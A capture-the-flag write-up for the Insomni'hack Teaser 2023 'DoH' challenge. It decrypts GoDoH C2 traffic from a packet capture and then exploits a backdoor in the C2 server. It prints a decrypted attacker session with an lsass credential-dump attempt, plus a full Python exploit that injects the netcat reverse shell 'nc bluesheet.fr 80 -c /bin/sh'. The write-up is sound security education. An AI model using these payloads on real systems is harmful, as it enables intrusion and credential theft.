Insomni'Hack Teaser 2023 - DoH
DoH - Insomni'hack Teaser 2023
This is a writeup for the DoH
challenge of the Insomni'hack Teaser 2023 CTF
Challenge details
The Powell Motors company provides a PCAP file which contains evidences of a potential data exfiltration with a large volume of suspicious DNS over HTTPS (DoH) requests. By analyzing the network traffic behavior, CSIRT team discovered that the attackers used the Godoh C2 framework as a covert channel for command and control (C&C) or data exfiltration to bypass security measures. Since the organization performed SSL break/inspection, all DoH traffic can be extracted from the PCAP Capture and analyzed. However, the security team was not able to find a way to decrypt data exchanges between the client and the C2 server. Some security researchers on social media also pointed that attackers left a backdoor in the C2 server that could allow remote code execution by sending a special crafted message using the C2 client... We are given a network capture of all the (decrypted) network traffic.
A hint, added later, wrote something like:
Amongst the five keys given by the server, one of them is used by the live instance.
Solution
First of all, I want to shout out to $in and Nics. They were insane on that challenge and did most of the job that I'm about to relate here.
What is in the capture ?
In the pcap file, we can see a lot of HTTP requests, corresponding to the DNS-over-HTTPS requests. The actual content of the DNS-over-HTTPS responses is gzip-compressed (as per the content-encoding
HTTP response header)
So we can write a simple python parser to ease our future work:
from scapy.all import * import gzip import json packets = rdpcap('2023-01-20-4023142337-63208778630ce7d965248f8d0a2cbc80661f7af6bdce28c63aa4a67a92c9abd1.pcap') for pkt in packets: ip_src=pkt[IP].src if ip_src == "192.168.100.190": print("Client -> Server") data = bytes(pkt).split(b"name=")[1].split(b".insomnihack.tech")[0] print(data) else: print("Server -> Client") data = bytes(pkt).split(b"\r\n\r\n")[1] data = json.loads(gzip.decompress(data).decode()) print(data)
Thanks to $in for the parser!
Here is a sample output for the first few packets:
Client -> Server b'7078706c6e' Server -> Client {'Status': 0, 'TC': False, 'RD': True, 'RA': True, 'AD': False, 'CD': False, 'Question': [{'name': '7078706c6e.insomnihack.tech.', 'type': 16}], 'Answer': [{'name': '7078706c6e.insomnihack.tech.', 'type': 16, 'TTL': 1, 'data': 'v=B2B3FE1C'}], 'Comment': 'Response from 194.182.163.204.'} Client -> Server b'7078706c6e' Server -> Client {'Status': 0, 'TC': False, 'RD': True, 'RA': True, 'AD': False, 'CD': False, 'Question': [{'name': '7078706c6e.insomnihack.tech.', 'type': 16}], 'Answer': [{'name': '7078706c6e.insomnihack.tech.', 'type': 16, 'TTL': 1, 'data': 'v=B2B3FE1C'}], 'Comment': 'Response from 194.182.163.204.'}
And then a bit later, we have DNS request of this form:
Client -> Serveur b'f4fa.ef.1.14b3234.1.3.5c825e634c43e0d46e69766153d8b1e733df2e4c8990e1ccb3b0e06e716e.b0e2dec8839f489ec1395f1c4691a8f1a443d0d5766827920d6b614f66d6.6b19cd08c312037835c7678be96f2aee5399c2d32a7435a98239c531e6a7' Serveur -> Client {'Status': 0, 'TC': False, 'RD': True, 'RA': True, 'AD': False, 'CD': False, 'Question': [{'name': 'f4fa.ef.1.14b3234.1.3.5c825e634c43e0d46e69766153d8b1e733df2e4c8990e1ccb3b0e06e716e.b0e2dec8839f489ec1395f1c4691a8f1a443d0d5766827920d6b614f66d6.6b19cd08c312037835c7678be96f2aee5399c2d32a7435a98239c531e6a7.insomnihack.tech.', 'type': 1}], 'Answer': [{'name': 'f4fa.ef.1.14b3234.1.3.5c825e634c43e0d46e69766153d8b1e733df2e4c8990e1ccb3b0e06e716e.b0e2dec8839f489ec1395f1c4691a8f1a443d0d5766827920d6b614f66d6.6b19cd08c312037835c7678be96f2aee5399c2d32a7435a98239c531e6a7.insomnihack.tech.', 'type': 1, 'TTL': 60, 'data': '1.1.1.1'}], 'Comment': 'Response from 194.182.163.204.'}
DNS request type 16 correspond to a request for TXT records, and type 1 correspond to A records.
Weirdly, this parser crashes at some point in the capture. This makes us pay more attention to the capture file, and we find out that two normal DNS queries (UDP 53) are present as well, for records of type 56 (which does not seem to be a standard type) on the root domain insomnihack.tech
, for which the DNS answers with a 16-bytes hex string.
Let's dig into GoDoH to understand what these packets mean !
Looking into GoDoH code
First, let us understand what is this domain the client is requesting most of the time. It looks like a 5 random hex bytes, so let's look for the word random
in the code. We have a few occurences, with some of them in cmd/agent.go
, which looks like the code for the client. More specifically, this result leads us to believe that this 5-byte string is the client identifier.
Then, let's look at the constants defined here, to give us an idea of what we have seen. We find here the explanations on the v=...
bits of the response. Let's see where the CmdTxtResponse
is used in the server. We have interesting code snippets here in the server part (crafting the message), and here in the client part (parsing the message), which seems easier to understand.
if strings.Contains(response.Data, protocol.CmdTxtResponse) { cmdParsed := strings.Split(response.Data, "p=")[1] cmd := strings.Split(cmdParsed, "\"")[0] log.Debug().Str("cmd-data", cmd).Msg("raw command") // decode the command dataBytes, err := hex.DecodeString(cmd) if err != nil { log.Error().Err(err).Msg("failed to decode command data") return } var command string lib.UngobUnpress(&command, dataBytes) log.Debug().Str("cmd", command).Msg("executing command") // [...] }
Code extract from cmd/agent.go
So the actual command which the client needs to run is the part after the p=
in the response, hex-decoded and then passed through the lib.UngobUnpress
function.
func UngobUnpress(s interface{}, data []byte) error { // Decrypt the data decryptData, err := Decrypt(data) if err != nil { return err } if err := json.Unmarshal(decryptData, &s); err != nil { return err } return nil } [...] // Decrypt will decrypt a byte stream // https://golang.org/pkg/crypto/cipher/#example_NewCFBDecrypter func Decrypt(ciphertext []byte) ([]byte, error) { key, _ := hex.DecodeString(cryptKey) block, err := aes.NewCipher(key) if err != nil { return nil, err } // The IV needs to be unique, but not secure. Therefore it's common to // include it at the beginning of the ciphertext. if len(ciphertext) < aes.BlockSize { return nil, errors.New("Cipher text too short") } // Ensure we have the correct blocksize if (len(ciphertext) % aes.BlockSize) != 0 { return nil, errors.New("Cipher text is not the expected length") } iv := ciphertext[:aes.BlockSize] ciphertext = ciphertext[aes.BlockSize:] stream := cipher.NewCBCDecrypter(block, iv) stream.CryptBlocks(ciphertext, ciphertext) ciphertext, err = pkcs7strip(ciphertext, aes.BlockSize) if err != nil { return nil, err } return ciphertext, nil }
Code extract from lib/utils.go
So this is really about AES encryption. Don't let yourself be fooled by the comment above the Decrypt
function mentionning CFB, in the code it is really decrypted with the CBC mode of AES. The IV is taken from the first 16 bytes of the input, and the rest is deciphered and PKCS7-unpadded. There is a decryption key in the code, but it doesn't work on the commands in the capture... Indeed, in the main README
file it is mentionned that you should regenerate the key before compiling the C2, which is what the authors might have done here. Let's put that aside, we will come back on it shortly.
For now, let's complete our understanding of the communication protocol, with the last type of exchange, this time over DNS type A requests (instead of TXT for the polling seen previously).
This code snippet, presenting the ARequestify
function is of prime interest to this regard:
// ARequestify generates hostnames for DNS lookups via A records. This is // typically for data streams coming from the client to the server. // // A full conversation with the server will involve multiple DNS lookups. // Requestifying assumes that the client will be sending data to the server. // Each request normally requires the server to respond with a specific IP // address indicating success, failure or other scenarios. Checking these is // up to the caller to verify, but something to keep in mind. // // Generically speaking, hostnames for lookups will have multiple labels. ie: // Structure: // ident.type.seq.crc32.proto.datalen.data.data.data // // ident: the identifier for this specific stream // type: stream status indicator. ie: start, sending, stop // seq: a sequence number to track request count // crc32: checksum value // proto: the protocol this transaction is for. eg: file transfer/cmd // datalen: how much data does this packet have // data: the labels containing data. max of 3 but can have only one too // // Size: 4 + 2 + 16 + 8 + 2 + 2 + 60 + 60 + 60 for a maximum size of 214 // Sample: // 0000.00.0000000000000000.00000000.00.00.60.60.60 // // Note: Where the label lenths may be something like 60, a byte takes two of // those, meaning that each data label is only 30 bytes for a total of 90 // bytes per request, excluding ident, seq and crc32. func ARequestify(data []byte, protocol int) (requests []string) { // start the sequence counter seq := 1 // generate an identifier for this stream. this identifier is used server-side // to tie a stream that will be chunked into multiple requests together. ident := make([]byte, 2) if _, err := rand.Read(ident); err != nil { log.Fatal(err) } // initialization request to start this stream with StreamStart var emptyBytes []byte initRequest := fmt.Sprintf("%x.%x.%d.%02x.%x.%x.%x.%x.%x", ident, StreamStart, seq-1, crc32.ChecksumIEEE(emptyBytes), protocol, 0, 0x00, 0x00, 0x00) requests = append(requests, initRequest) // split the _actual_ data into chunks of 90 bytes, each resulting in an A record lookup // for the StreamData type for _, s := range lib.ByteSplit(data, 90) { labelSplit := lib.ByteSplit(s, 30) // Having the data split into 3 labels, prepare the data label // that will be used in the request. var dataLabel string switch len(labelSplit) { case 1: dataLabel = fmt.Sprintf("%x.%x.%x", labelSplit[0], 0x00, 0x00) break case 2: dataLabel = fmt.Sprintf("%x.%x.%x", labelSplit[0], labelSplit[1], 0x00) break case 3: dataLabel = fmt.Sprintf("%x.%x.%x", labelSplit[0], labelSplit[1], labelSplit[2]) break } request := fmt.Sprintf("%x.%x.%d.%02x.%x.%x.%s", ident, StreamData, seq, crc32.ChecksumIEEE(s), protocol, len(labelSplit), dataLabel) requests = append(requests, request) // increment the sequence number seq++ } // wrap up the stream with a final StreamEnd request destructRequest := fmt.Sprintf("%x.%x.%d.%02x.%x.%x.%x.%x.%x", ident, StreamEnd, seq, crc32.ChecksumIEEE(emptyBytes), protocol, 0, 0x00, 0x00, 0x00) requests = append(requests, destructRequest) return }
code extract from protocol/data.go
The code here is REALLY WELL documented, and I encourage you to read the full comment above to understand the protocol. This function is used by the client when it needs to answer with the output of the command it had to run, here (which leads to here, where the real call is made). So once again, the data is passed to lib.GobPress
, and thus is encrypted.
One thing important to add, is that lib.UngobUnpress
then passes the decrypted output to json.Unmarshal
, so the cleartext data must be a valid json representation of a Go object. For example, for the Command
object, the struct gives us the associated json keys:
// Command represents a command to be send over DNS. type Command struct { Exec string `json:"exec"` Data []byte `json:"data"` ExecTime int64 `json:"exectime"` Identifier string `json:"identifier"` }
Getting the decryption key
Our team first thought about decrypting the exchanges using a potential padding oracle (AES CBC, PKCS7 padding, ..., you know what I mean). This sadly didn't lead to anything tangible, and we started digging an other option.
Remember those two normal DNS requests (UDP 53), returning 16-bytes hex strings ? Could these be AES keys ? They do not seem to decrypt the messages in the network capture, but... Remeber the challenge hint ? It mentionned five keys returned by the server, here we have only two... Can we replay the requests to get more responses ? Heck, let's try.
from scapy.all import * keys = set() while len(keys) < 5: dns_req = IP(dst='1.1.1.1')/UDP(dport=53)/DNS(qd=DNSQR(qname='insomnihack.tech', qtype=56)) answer = sr1(dns_req, verbose=1) keys.add(answer[DNS].summary()) print('\n'.join(list(keys)))
Thanks to Nics for the script !
And here we go, we get the five keys !
ed5150f380df2571167928aed54bbf60 3ccfefeb7d869971cb14f2607f8005a5 52191178ac14745ef0e7d83da95a76ea 9773e2216d31e339b69b2b9ed0c9cf58 121fde15994f5bf3fbd3d434b32d31dd
And yes, the key 9773e2216d31e339b69b2b9ed0c9cf58
is the right one, and allow us to decrypt the whole exchange!
Sorry, I have lost the script on that one, it was basically parsing the commands sent by the C2 (through DNS TXT records, with v=A9F466E8
) as well as the client responses (through DNS A records), and then decrypted using AES CBC and the right key.
"whoami" root "net user" User accounts for \\DESKTOP-74KDSND ------------------------------------------------------------------------------- Administrator bobby DefaultAccount Guest WDAGUtilityAccount The command completed successfully. "ipconfig /all" [...] "whoami /priv" PRIVILEGES INFORMATION ---------------------- Privilege Name Description State =============================== ========================================= ======== SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled SeSecurityPrivilege Manage auditing and security log Disabled SeTakeOwnershipPrivilege Take ownership of files or other objects Disabled [...] "C:\\Users\\bobby\\AppData\\Local\\Temp\\pc.exe lsass lsa.dup" exit status 1 "set" exec: "set": executable file not found in %PATH% "cmd.exe /c set" ALLUSERSPROFILE=C:\ProgramData APPDATA=C:\Users\bobby\AppData\Roaming [...] "download lsa.7z" dumped file "ipconfig" Windows IP Configuration Ethernet adapter Ethernet: Connection-specific DNS Suffix . : network IPv4 Address. . . . . . . . . . . : 192.168.100.190 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 192.168.100.134 "whoami" desktop-74kdsnd\bobby "whoami" desktop-74kdsnd\bobby "whoami" desktop-74kdsnd\bobby "whoami" desktop-74kdsnd\bobby "whoami" desktop-74kdsnd\bobby "whoami" 736372742e6368nc 194.182.163.204 80 -c 'cat /etc/issue' "whoami" desktop-74kdsnd\bobby
Analysis of the decrypted traffic - Finding the backdoor, getting a shell on the C2 and grabbing the flag
Amongst all the commands we see, one of the answers looks funky:
"whoami" 736372742e6368nc 194.182.163.204 80 -c 'cat /etc/issue'
Why would a client answer with this string to the whoami
command ? Could it be the backdoor mentionned in the challenge description ? 736372742e6368
is the string scrt.ch
hex-encoded, so this might as well be it.
Let's try using it ourselves. The plan is to write a python script which acts as follows:
1. Poll the server (with DNS-over-HTTPS TXT records) until it asks us to run the whoami
command
2. Answer with a netcat reverse-shell, prepended with hex('scrt.ch')
, with DNS-over-HTTPS A records
3. Get reverse shell and profit!
import requests import base64 from binascii import crc32 import os import json from time import sleep, time_ns StreamStart = 0xbe StreamData = 0xef StreamEnd = 0xca PollTypeUndefined = 0 PollTypeCheckin = 1 PollTypeUpload = 2 def do_req_A(ident, phase, seq, proto, data): checksum = crc32(b''.join(data)) data_str = '.'.join(data[i].hex() if i < len(data) else '0' for i in range(3)) payload = f"{ident}.{phase:x}.{seq}.{checksum:02x}.{proto}.{len(data)}.{data_str}" print(payload) r = requests.get(f"https://8.8.8.8//resolve?cd=false&name={payload}.insomnihack.tech&type=1") return json.loads(r.text) def send_data_cmdprotocol(data): ident = os.urandom(2).hex() seq = 1 # Stream start do_req_A(ident, StreamStart, seq - 1, 1, []) # Stream data data = [data[i:i+90] for i in range(0, len(data), 90)] for d in data: d = [d[i:i+30] for i in range(0, len(d), 30)] tmp = do_req_A(ident, StreamData, seq, 1, d) status = tmp["Answer"][0]["data"] print(status == "1.1.1.1") seq += 1 ans = do_req_A(ident, StreamEnd, seq, 1, []) print(ans) # Stream end return status == "1.1.1.1" name = b'aznrt' from Crypto.Cipher import AES import math #KEY = bytes.fromhex("ed5150f380df2571167928aed54bbf60") #KEY = bytes.fromhex("3ccfefeb7d869971cb14f2607f8005a5") #KEY = bytes.fromhex("52191178ac14745ef0e7d83da95a76ea") #KEY = bytes.fromhex("121fde15994f5bf3fbd3d434b32d31dd") KEY = bytes.fromhex("9773e2216d31e339b69b2b9ed0c9cf58") def encrypt(p): iv = os.urandom(16) cipher = AES.new(KEY,AES.MODE_CBC,iv) return iv + cipher.encrypt(p) def decrypt(p): cipher = AES.new(KEY,AES.MODE_CBC,p[:16]) return cipher.decrypt(p[16:]) def pkcs7pad(text): """ Performs padding on the given plaintext to ensure that it is a multiple of the given block_size value in the parameter. Uses the PKCS7 standard for performing padding. """ block_size = 16 no_of_blocks = math.ceil(len(text)/float(block_size)) pad_value = int(no_of_blocks * block_size - len(text)) if pad_value == 0: return text + bytes([block_size]) * block_size else: return text + bytes([pad_value]) * pad_value def do_req_TXT(name, phase): payload = f"{name.hex()}.{phase:x}.{os.urandom(4).hex()}" r = requests.get(f"https://8.8.8.8//resolve?cd=false&name={payload}.insomnihack.tech&type=16") return json.loads(r.text) def poll(): while True: tmp = do_req_TXT(name, PollTypeCheckin) print(tmp) ans = tmp["Answer"][0]["data"] if ans != "v=B2B3FE1C": return decrypt(bytes.fromhex(ans.split(',')[1].split("=")[1])) sleep(2) def response(ans): s = json.dumps(ans).encode() poll() payload = "nc bluesheet.fr 80 -c '/bin/sh'" data_to_anwser = b"scrt.ch".hex() + payload ans = {"exec":"whoami","data":base64.b64encode(data_to_anwser.encode()).decode(),"exectime":time_ns(),"identifier":name.decode()} data = json.dumps(ans).encode().replace(b' ', b'') data = pkcs7pad(data) data = encrypt(data) print(decrypt(data)) print(send_data_cmdprotocol(data))
Thanks to Nics for the full script!
Let's go, we have a shell! But wait, we can't run ls
? Let's run their payload:
cat /etc/issue Insomni'hack Alpine Jail GNU/Linux \n \l
Omg, we are in a jail...
By chance, the flag is in the environment variable FLAG, which we can get with the set
/export
shell builtin. That's it!
INS{E@t_And_P0wn_My_GoD0h!}
Conclusion
This was a really cool challenge, digging through the source code of GoDoH was a satisfying experience, understanding the network protocols and all that. Huge thanks to the challenge author poyo88
, as well as the Insomni'hack team, and once again gg to my teammates $in and Nics!